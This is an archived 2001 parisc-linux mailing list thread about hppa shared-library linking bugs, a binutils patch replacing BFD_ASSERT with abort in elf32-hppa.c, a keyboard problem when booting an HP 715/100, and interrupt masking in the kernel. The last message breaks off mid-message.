References: <20010524213301.126241872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620138 19543 80.91.229.3 (22 Nov 2014 01:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, lamont@hp.com
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 16:00:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16117482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 16:00:46 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel2.hp.com (Postfix) with ESMTP id 942953B1
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 18:00:45 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 76E741872C; Thu, 24 May 2001 15:59:30 -0600 (MDT)
In-reply-to: Your message of "Thu, 24 May 2001 15:32:59 MDT."
             <20010524213301.126241872C@security.hp.com> 
Content-ID: <26852.990741570.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11109

> With the new toolchain, sipp still builds a libsipp.so.3.1 trips the
> bug checker.  Checking everything on the system doesn't find any bad
> libs.  Here is the build output for libsipp.so:

Add the following .debs to the list of things that still build borken:
    auto-apt_0.3.11.0.1_hppa.deb
    installwatch_0.5.5-3.0.1_hppa.deb
    libc-client2000_2000cdebian-2_hppa.deb
    libg20_0.42.20010417-1.0.1_hppa.deb
    libmagick++5_5.3.3-5_hppa.deb
    libmimelib1_2.1.0-1.0.1_hppa.deb
    libpam-radius-auth_1.3.11-3.0.1_hppa.deb
    libseal1_1.07-4.0.1_hppa.deb
    sciplot1_1.36-8.0.1_hppa.deb
    sipp_3.1-7.0.1_hppa.deb
    slatec_4.1-4.0.1_hppa.deb

lamont




From - Thu Nov 08 21:17:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: still getting $$dyncall refs in shlibs
Date: Fri, 25 May 2001 08:32:02 +0930
Lines: 15
Approved: news@gmane.org
Message-ID: <20010525083202.E9275@squeak.one.net.au>
References: <20010524213301.126241872C@security.hp.com> <20010524215930.76E741872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620138 19545 80.91.229.3 (22 Nov 2014 01:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 16:55:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob01.one.net.au (mail-ob01.one.net.au [61.12.0.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 659D1482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 16:55:43 -0600 (MDT)
Original-Received: Received: [from squeak.local (async145-ade-isp-3.nas.one.net.au [203.101.88.146])
	by mail-ob01.one.net.au  with SMTP id f4OMtmF11130
	for <parisc-linux@parisc-linux.org>; Fri, 25 May 2001 08:55:51 +1000 (EST)]
Original-Received: (qmail 9589 invoked by uid 179); 24 May 2001 23:02:02 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010524215930.76E741872C@security.hp.com>; from lamont@hp.com on Thu, May 24, 2001 at 03:59:30PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11110

On Thu, May 24, 2001 at 03:59:30PM -0600, LaMont Jones wrote:
> > With the new toolchain, sipp still builds a libsipp.so.3.1 trips the
> > bug checker.  Checking everything on the system doesn't find any bad
> > libs.  Here is the build output for libsipp.so:

Too much can go wrong building shared libs just using ld.  It's far
better to build using gcc -shared.  In this case, the problem is that
the shlib needs to be built linked against libgcc to satisfy the
millicode reference.

Alan





From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: still getting $$dyncall refs in shlibs
Date: Thu, 24 May 2001 18:59:17 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200105242259.SAA02789@hiauly1.hia.nrc.ca>
References: <20010525083202.E9275@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620138 19546 80.91.229.3 (22 Nov 2014 01:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:38 +0000 (UTC)
Cc: lamont@hp.com, parisc-linux@parisc-linux.org
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 16:59:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CEC3482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 16:59:27 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA02789;
	Thu, 24 May 2001 18:59:17 -0400 (EDT)
In-Reply-To: <20010525083202.E9275@squeak.one.net.au> from "amodra@one.net.au" at May 25, 2001 08:32:02 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:11111

> On Thu, May 24, 2001 at 03:59:30PM -0600, LaMont Jones wrote:
> > > With the new toolchain, sipp still builds a libsipp.so.3.1 trips the
> > > bug checker.  Checking everything on the system doesn't find any bad
> > > libs.  Here is the build output for libsipp.so:
> 
> Too much can go wrong building shared libs just using ld.  It's far
> better to build using gcc -shared.  In this case, the problem is that
> the shlib needs to be built linked against libgcc to satisfy the
> millicode reference.

That also applies to libtool which uses `ld' directly.  Gcc will run
collect2 if needed.  This is necessary for correctly processing
constructors and destructors.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: still getting $$dyncall refs in shlibs
Date: Thu, 24 May 2001 17:14:17 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20010524231417.584391872C@security.hp.com>
References: <200105242259.SAA02789@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620138 19553 80.91.229.3 (22 Nov 2014 01:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:38 +0000 (UTC)
Cc: amodra@one.net.au, lamont@hp.com, parisc-linux@parisc-linux.org,
	lamont@hp.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 17:14:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B9C1482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 17:14:19 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 59B49113; Thu, 24 May 2001 19:14:18 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 584391872C; Thu, 24 May 2001 17:14:17 -0600 (MDT)
In-reply-to: Your message of "Thu, 24 May 2001 18:59:17 EDT."
             <200105242259.SAA02789@hiauly1.hia.nrc.ca> 
Content-ID: <27127.990746056.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11112

> That also applies to libtool which uses `ld' directly.  Gcc will run
> collect2 if needed.  This is necessary for correctly processing
> constructors and destructors.

Will someone file the defect against libtool, please?

lamont




From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: still getting $$dyncall refs in shlibs
Date: Thu, 24 May 2001 19:26:50 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200105242326.TAA02859@hiauly1.hia.nrc.ca>
References: <20010524231417.584391872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620139 19554 80.91.229.3 (22 Nov 2014 01:35:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:39 +0000 (UTC)
Cc: amodra@one.net.au, lamont@hp.com, parisc-linux@parisc-linux.org
To: lamont@hp.com (LaMont Jones)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 17:27:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 859C7482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 17:27:46 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA02859;
	Thu, 24 May 2001 19:26:51 -0400 (EDT)
In-Reply-To: <20010524231417.584391872C@security.hp.com> from "LaMont Jones" at May 24, 2001 05:14:17 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:11113

> Will someone file the defect against libtool, please?

Done.  There is a PR (objc/2902) against gcc 3.0 (prerelease).  This
is where I noticed the problem first.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: diab <diab@diab.rulez.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dead keyboard after booting 0.61 STI32 iso on a 715/100
Date: Fri, 25 May 2001 01:32:35 +0200 (CEST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0105250117040.13776-100000@droid3.webreklam.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620139 19556 80.91.229.3 (22 Nov 2014 01:35:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 17:32:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from droid3.webreklam.hu (para.abs0lut.com [195.56.113.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC87B482A
	for <parisc-linux@parisc-linux.org>; Thu, 24 May 2001 17:32:39 -0600 (MDT)
Original-Received: from localhost (diab@localhost)
	by droid3.webreklam.hu (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA15818
	for <parisc-linux@parisc-linux.org>; Fri, 25 May 2001 01:32:35 +0200
X-Sender: diab@droid3.webreklam.hu
Xref: news.gmane.org gmane.linux.ports.parisc:11114

Hi,

I need help booting my brand new (well.. just got it) 715/100.. 
It boots the 061 STI32 cdrom using an scsi cdrom (plextor
32x, id=3) flawlessly, finds all the hard disks etc, framebuffer is
working (its even nicer that it works on my MAG XJ500T
15" PC monitor after i changed the resolution to 1024 75hz), but somehow
the keyboard seems to be frozen after it displays the login
prompt. Even the numlock led wont change if i start pessing it.
Do i need a nullmodem cable and a pc to use it? Does not make sense to
have the nice framebuffer and stuff without a working keyboard :(
The other question is that if i want to use serial console, will the STI32
image work if i change the console param. to something like ttyS0 before
it boots? Or i need the serial console version.
I might try some different brand PC keyboards, in case it matters.

Im quite new to these HP boxes (yesterday is the first day i ever saw it,
but no hp-ux, thanks), so it might be something trivial w/ the box I
forgot. 

In case somebody is interested in how this baby looks like w/ the
case open, you can check it at http://diab.rulez.org/hp.jpg (550k
3200x1600). 
Its so nice (compared to a pcs i got used to) i had to make a photo 
of it :)

regards,

-- 
diab 
		





From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] elf32-hppa: abort rather than BFD_ASSERT
Date: Fri, 25 May 2001 13:03:59 +0930
Lines: 184
Approved: news@gmane.org
Message-ID: <20010525130358.K9275@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620139 19559 80.91.229.3 (22 Nov 2014 01:35:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: binutils@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 21:27:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob05.one.net.au (mail-ob05.one.net.au [61.12.0.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05436482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 May 2001 21:27:39 -0600 (MDT)
Original-Received: Received: [from squeak.local (async65-ade-isp-2.nas.one.net.au [203.101.90.66])
	by mail-ob05.one.net.au  with SMTP id f4P3RAn10308
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 May 2001 13:27:14 +1000 (EST)]
Original-Received: (qmail 9773 invoked by uid 179); 25 May 2001 03:33:59 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:11115

Be a little more brutal.  Any BFD_ASSERT failure here either rapidly
results in a segfault during linking, or worse, generates shared libs
and executables that will bomb with bus errors at runtime.  An
undefined millicode symbol in a shared library is nasty too:  they
can't be satisfied by another shared lib export as the ABI doesn't
allow millicode to be exported from shared libs.

bfd/ChangeLog
	* elf32-hppa.c (elf32_hppa_relocate_section): Don't allow
	undefined millicode syms in shared libs.
	(hppa_build_one_stub): Turn BFD_ASSERTs into aborts.
	(elf32_hppa_check_relocs): Likewise.
	(elf32_hppa_adjust_dynamic_symbol): Likewise.
	(elf32_hppa_size_dynamic_sections): Likewise.
	(elf32_hppa_relocate_section): Likewise.
	(elf32_hppa_finish_dynamic_symbol): Likewise.
	(elf32_hppa_finish_dynamic_sections): Likewise.

-- 
Alan Modra

Index: bfd/elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.33
diff -u -p -r1.33 elf32-hppa.c
--- elf32-hppa.c	2001/05/18 03:11:13	1.33
+++ elf32-hppa.c	2001/05/25 02:50:18
@@ -938,7 +938,8 @@ hppa_build_one_stub (gen_entry, in_arg)
 
     case hppa_stub_import:
     case hppa_stub_import_shared:
-      BFD_ASSERT (stub_entry->h->elf.plt.offset < (bfd_vma) -2);
+      if (stub_entry->h->elf.plt.offset >= (bfd_vma) -2)
+	abort ();
       sym_value = (stub_entry->h->elf.plt.offset
 		   + hplink->splt->output_offset
 		   + hplink->splt->output_section->vma
@@ -998,8 +999,9 @@ hppa_build_one_stub (gen_entry, in_arg)
 	  dynobj = hplink->root.dynobj;
 	  eh = (struct elf32_hppa_link_hash_entry *) stub_entry->h;
 
-	  BFD_ASSERT (eh->elf.root.type == bfd_link_hash_defined
-		      || eh->elf.root.type == bfd_link_hash_defweak);
+	  if (eh->elf.root.type != bfd_link_hash_defined
+	      && eh->elf.root.type != bfd_link_hash_defweak)
+	    abort ();
 
 	  value = (eh->elf.root.u.def.value
 		   + eh->elf.root.u.def.section->output_offset
@@ -1289,7 +1291,8 @@ elf32_hppa_check_relocs (abfd, info, sec
 	case R_PARISC_PLABEL21L:
 	case R_PARISC_PLABEL32:
 	  /* If the addend is non-zero, we break badly.  */
-	  BFD_ASSERT (rel->r_addend == 0);
+	  if (rel->r_addend != 0)
+	    abort ();
 
 	  /* If we are creating a shared library, then we need to
 	     create a PLT entry for all PLABELs, because PLABELs with
@@ -1968,8 +1971,9 @@ elf32_hppa_adjust_dynamic_symbol (info, 
      real definition first, and we can just use the same value.  */
   if (h->weakdef != NULL)
     {
-      BFD_ASSERT (h->weakdef->root.type == bfd_link_hash_defined
-		  || h->weakdef->root.type == bfd_link_hash_defweak);
+      if (h->weakdef->root.type != bfd_link_hash_defined
+	  && h->weakdef->root.type != bfd_link_hash_defweak)
+	abort ();
       h->root.u.def.section = h->weakdef->root.u.def.section;
       h->root.u.def.value = h->weakdef->root.u.def.value;
       return true;
@@ -2173,7 +2177,8 @@ elf32_hppa_size_dynamic_sections (output
 
   hplink = hppa_link_hash_table (info);
   dynobj = hplink->root.dynobj;
-  BFD_ASSERT (dynobj != NULL);
+  if (dynobj == NULL)
+    abort ();
 
   if (hplink->root.dynamic_sections_created)
     {
@@ -2183,7 +2188,8 @@ elf32_hppa_size_dynamic_sections (output
       if (! info->shared)
 	{
 	  s = bfd_get_section_by_name (dynobj, ".interp");
-	  BFD_ASSERT (s != NULL);
+	  if (s == NULL)
+	    abort ();
 	  s->_raw_size = sizeof ELF_DYNAMIC_INTERPRETER;
 	  s->contents = (unsigned char *) ELF_DYNAMIC_INTERPRETER;
 	}
@@ -3590,7 +3596,8 @@ elf32_hppa_relocate_section (output_bfd,
 	  else if (h->elf.root.type == bfd_link_hash_undefweak)
 	    ;
 	  else if (info->shared && !info->no_undefined
-		   && ELF_ST_VISIBILITY (h->elf.other) == STV_DEFAULT)
+		   && ELF_ST_VISIBILITY (h->elf.other) == STV_DEFAULT
+		   && h->elf.type != STT_PARISC_MILLI)
 	    {
 	      if (info->symbolic)
 		if (!((*info->callbacks->undefined_symbol)
@@ -3623,7 +3630,8 @@ elf32_hppa_relocate_section (output_bfd,
 	      bfd_vma off;
 
 	      off = h->elf.got.offset;
-	      BFD_ASSERT (off != (bfd_vma) -1);
+	      if (off == (bfd_vma) -1)
+		abort ();
 
 	      if (! hplink->root.dynamic_sections_created
 		  || (info->shared
@@ -3659,11 +3667,10 @@ elf32_hppa_relocate_section (output_bfd,
 	    {
 	      /* Local symbol case.  */
 	      bfd_vma off;
-
-	      BFD_ASSERT (local_got_offsets != NULL
-			  && local_got_offsets[r_symndx] != (bfd_vma) -1);
 
-	      off = local_got_offsets[r_symndx];
+	      if (local_got_offsets == NULL
+		  || (off = local_got_offsets[r_symndx]) == (bfd_vma) -1)
+		abort ();
 
 	      /* The offset must always be a multiple of 4.  We use
 		 the least significant bit to record whether we have
@@ -3773,7 +3780,8 @@ elf32_hppa_relocate_section (output_bfd,
 		    }
 		}
 
-	      BFD_ASSERT (off < (bfd_vma) -2);
+	      if (off >= (bfd_vma) -2)
+		abort ();
 
 	      /* PLABELs contain function pointers.  Relocation is to
 		 the entry for the function in the .plt.  The magic +2
@@ -3840,7 +3848,8 @@ elf32_hppa_relocate_section (output_bfd,
 		  if (name == NULL)
 		    return false;
 		  sreloc = bfd_get_section_by_name (dynobj, name);
-		  BFD_ASSERT (sreloc != NULL);
+		  if (sreloc == NULL)
+		    abort ();
 		}
 
 	      outrel.r_offset = rel->r_offset;
@@ -4112,7 +4121,8 @@ elf32_hppa_finish_dynamic_symbol (output
 	}
       else
 	{
-	  BFD_ASSERT((h->got.offset & 1) == 0);
+	  if ((h->got.offset & 1) != 0)
+	    abort ();
 	  bfd_put_32 (output_bfd, (bfd_vma) 0,
 		      hplink->sgot->contents + h->got.offset);
 	  rel.r_info = ELF32_R_INFO (h->dynindx, R_PARISC_DIR32);
@@ -4133,9 +4143,10 @@ elf32_hppa_finish_dynamic_symbol (output
 
       /* This symbol needs a copy reloc.  Set it up.  */
 
-      BFD_ASSERT (h->dynindx != -1
-		  && (h->root.type == bfd_link_hash_defined
-		      || h->root.type == bfd_link_hash_defweak));
+      if (! (h->dynindx != -1
+	     && (h->root.type == bfd_link_hash_defined
+		 || h->root.type == bfd_link_hash_defweak)))
+	abort ();
 
       s = hplink->srelbss;
 
@@ -4181,7 +4192,8 @@ elf32_hppa_finish_dynamic_sections (outp
     {
       Elf32_External_Dyn *dyncon, *dynconend;
 
-      BFD_ASSERT (sdyn != NULL);
+      if (sdyn == NULL)
+	abort ();
 
       dyncon = (Elf32_External_Dyn *) sdyn->contents;
       dynconend = (Elf32_External_Dyn *) (sdyn->contents + sdyn->_raw_size);




From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H . J . Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: elf32-hppa: abort rather than BFD_ASSERT
Date: Thu, 24 May 2001 20:33:56 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20010524203356.A30247@lucon.org>
References: <20010525130358.K9275@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620140 19561 80.91.229.3 (22 Nov 2014 01:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:40 +0000 (UTC)
Cc: binutils@sources.redhat.com, parisc-linux@lists.parisc-linux.org
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 21:34:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ocean.lucon.org (c1473286-a.stcla1.sfba.home.com [24.176.137.160])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9901E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 May 2001 21:34:06 -0600 (MDT)
Original-Received: by ocean.lucon.org (Postfix, from userid 1000)
	id 00BCC125BA; Thu, 24 May 2001 20:33:56 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010525130358.K9275@squeak.one.net.au>; from amodra@one.net.au on Fri, May 25, 2001 at 01:03:59PM +0930
Xref: news.gmane.org gmane.linux.ports.parisc:11116

On Fri, May 25, 2001 at 01:03:59PM +0930, amodra@one.net.au wrote:
> Be a little more brutal.  Any BFD_ASSERT failure here either rapidly
> results in a segfault during linking, or worse, generates shared libs
> and executables that will bomb with bus errors at runtime.  An
> undefined millicode symbol in a shared library is nasty too:  they
> can't be satisfied by another shared lib export as the ABI doesn't
> allow millicode to be exported from shared libs.
> 

Why not give some useful messaages? I have been doing that for new
tests I added.


H.J.




From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: elf32-hppa: abort rather than BFD_ASSERT
Date: Fri, 25 May 2001 13:28:48 +0930
Lines: 15
Approved: news@gmane.org
Message-ID: <20010525132848.L9275@squeak.one.net.au>
References: <20010525130358.K9275@squeak.one.net.au> <20010524203356.A30247@lucon.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620140 19563 80.91.229.3 (22 Nov 2014 01:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:40 +0000 (UTC)
Cc: binutils@sources.redhat.com, parisc-linux@lists.parisc-linux.org
To: "H . J . Lu" <hjl@lucon.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 21:52:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob05.one.net.au (mail-ob05.one.net.au [61.12.0.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00396482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 May 2001 21:52:21 -0600 (MDT)
Original-Received: Received: [from squeak.local (async65-ade-isp-2.nas.one.net.au [203.101.90.66])
	by mail-ob05.one.net.au  with SMTP id f4P3pwn21291
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 May 2001 13:51:58 +1000 (EST)]
Original-Received: (qmail 9788 invoked by uid 179); 25 May 2001 03:58:48 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010524203356.A30247@lucon.org>; from hjl@lucon.org on Thu, May 24, 2001 at 08:33:56PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11117

On Thu, May 24, 2001 at 08:33:56PM -0700, H . J . Lu wrote:
> 
> Why not give some useful messaages? I have been doing that for new
> tests I added.

Well, the asserts (now aborts) shouldn't ever happen :-)  They indicate
some sort of internal bfd error.  Note that "abort" is #defined to
_bfd_abort, which spits out file, line and function info, so we haven't
lost any information compared to the BFD_ASSERT code.

Alan





From - Thu Nov 08 21:17:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic
Date: Thu, 24 May 2001 22:31:27 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <200105250431.WAA08405@puffin.external.hp.com>
References: <20010524151614.X8736@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620140 19568 80.91.229.3 (22 Nov 2014 01:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 24 22:39:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E0944839
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 May 2001 22:39:34 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA08405;
	Thu, 24 May 2001 22:31:27 -0600
In-Reply-To: Your message of "Thu, 24 May 2001 15:16:14 BST."
             <20010524151614.X8736@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11118

Richard Hirst wrote:
> You mean like scsi_request_fn() calling  spin_unlock_irq(&io_request_lock);
> when called at interrupt level?

spin_unlock_irq() can only twiddle the I-bit (PSW) since it's not
told which irq to save/restore state for.  But the EIEM bit in CR15
should remain masked. So I don't think this code should be a problem.

*Someone* is unmasking the CPU EIEM bit for dino_isr().
And that's a bug since only do_irq_mask() should be unmasking it
when the ISR completes. This is orthogonal to the I-bit state.

...
> I also found
> 
>       spin_lock(&lock) can also be used in your interrupt handler if your
>       device only uses one interrupt: the kernel guarantees that a interrupt
>       handler is never reentered, even if the interrupt handler runs with
>       enabled interrupts.
> 
> in <http://kt.zork.net/kernel-traffic/kt20000703_74.txt>

I read the kt summary. The wording is somewhat ambiguous.

Each device instance will typically use one interrupt.
The above statement suggests to me the driver ISR gets called serially
to handle each device instance. That's certainly not the case for
anything with IO APIC or SAPIC.

I think he meant the ISR won't get re-entered for a given instance
of a device. And the kernel does that by masking the particular IRQ
